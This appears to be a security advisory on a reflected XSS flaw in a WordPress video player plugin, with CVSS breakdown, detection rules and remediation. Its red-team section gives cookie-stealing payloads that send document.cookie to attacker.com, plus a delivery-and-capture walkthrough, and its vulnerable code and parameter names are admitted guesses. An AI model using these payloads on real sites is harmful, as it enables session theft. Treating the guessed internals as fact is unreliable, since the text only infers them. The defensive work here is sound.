CVE-2025-53559

Executive Summary

CVE-2025-53559 is a reflected Cross-Site Scripting (XSS) vulnerability in the Universal Video Player - Addon for WPBakery Page Builder plugin (slug: lbg-universal-video-player-addon-visual-composer) by LambertGroup. This WordPress plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that executes in the context of a victim's browser session. The vulnerability affects all versions up to and including 3.2.1. With a CVSS score of 7.1 (High), this flaw can be exploited remotely without authentication, though it requires user interaction (e.g., clicking a crafted link). No public proof-of-concept (PoC) or patch is currently available, making this a zero-day risk for all sites using the plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial addon for WPBakery Page Builder, it may be bundled in themes or purchased directly. The lack of a patch and the plugin's active installation base (estimated thousands) creates a supply chain risk: compromised sites can be used to distribute malware, steal session cookies, or perform phishing attacks against site administrators and visitors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over HTTP/HTTPS.
• Attack Complexity (AC): Low (L) – No special conditions required; the vulnerable parameter is easily reachable.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted URL.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, local storage).
• Confidentiality (C): Low (L) – Limited data exfiltration possible (e.g., session tokens).
• Integrity (I): Low (L) – Attacker can modify page content or perform actions on behalf of the user.
• Availability (A): Low (L) – Minor disruption possible (e.g., defacement).

Threat Level: High. The combination of no patch, low attack complexity, and the ability to target WordPress admin users makes this a critical risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability lies in the plugin's handling of URL parameters or POST data used to generate video player shortcodes or embed codes. The plugin likely uses $_GET or $_POST variables (e.g., video_id, autoplay, source) without proper sanitization or output encoding. When these values are reflected back into the page (e.g., in a JavaScript variable or HTML attribute), an attacker can inject a payload like:

<script>alert('XSS')</script>

or a more sophisticated payload that steals cookies:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

The reflected nature means the payload is not stored on the server; it is delivered via a crafted URL. For example:

https://victim.com/?page_id=123&lbg_video_id=<script>alert(1)</script>

The plugin's shortcode handler (lbg-universal-video-player-addon-visual-composer) processes this input and outputs it directly into the HTML without escaping, leading to script execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely contains code similar to:

Vulnerable (PHP):

$video_id = $_GET['video_id'];
echo '<div class="lbg-video" data-id="' . $video_id . '"></div>';

Patched (Expected):

$video_id = sanitize_text_field($_GET['video_id']);
echo '<div class="lbg-video" data-id="' . esc_attr($video_id) . '"></div>';

The fix would involve using WordPress's built-in functions like esc_attr(), esc_html(), or wp_kses() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Offensive)

1. Setup: Deploy a local WordPress instance with WPBakery Page Builder and the vulnerable plugin (v3.2.1). Use a tool like XAMPP or Docker.
2. Craft Payload: Create a URL that injects a JavaScript payload into a reflected parameter. Example:

   http://localhost/wordpress/?page_id=1&lbg_video_id=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

3. Deliver: Send the link to a victim (e.g., via email or social engineering).
4. Capture: Set up a listener on attacker.com to receive stolen cookies.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://victim.com/wordpress/"
payload = "<script>alert('XSS')</script>"
params = {"page_id": "1", "lbg_video_id": payload}
response = requests.get(target, params=params)
if payload in response.text:
    print("[+] Reflected XSS confirmed")
else:
    print("[-] Not vulnerable")

Blue Team (Defensive)

1. Detection: Monitor web server logs for suspicious query strings containing <script>, onerror=, javascript:, or base64-encoded payloads.
2. Blocking: Use a Web Application Firewall (WAF) to block requests with XSS patterns in the lbg_video_id parameter.
3. Honeypot: Deploy a fake WordPress page with the vulnerable plugin to trap attackers and analyze their payloads.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing lbg_video_id= followed by <script>, %3Cscript%3E, or other HTML/JS encoding.
• Log Entries: HTTP 200 responses with injected JavaScript in the response body.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server (if the payload exfiltrates data).
• File Hashes: Plugin files (e.g., lbg-universal-video-player-addon-visual-composer.php) with MD5 hash UNKNOWN (no patch available).

Detection Engineering

YARA Rule

rule CVE_2025_53559_Reflected_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting lbg_video_id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53559"
    strings:
        $param = "lbg_video_id=" nocase
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS via lbg_video_id Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the lbg_video_id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "lbg_video_id="
    keywords:
        - "<script"
        - "onerror="
        - "javascript:"
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of video IDs containing similar strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53559 Reflected XSS in lbg_video_id"; flow:to_server,established; content:"lbg_video_id="; nocase; pcre:"/lbg_video_id=.*(<script|onerror=|javascript:|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is released. If the plugin is critical, restrict access to the vulnerable page via .htaccess or a WAF rule.
2. Short-term: Monitor the plugin vendor's website (LambertGroup) for updates. Consider using a security plugin like Wordfence to add virtual patching.
3. Long-term: Replace the plugin with an alternative that is actively maintained and follows secure coding practices. Educate developers on output encoding (e.g., esc_attr(), esc_html()).
4. Validation: After applying any fix, test with the PoC script to ensure the vulnerability is mitigated.

Valters IT
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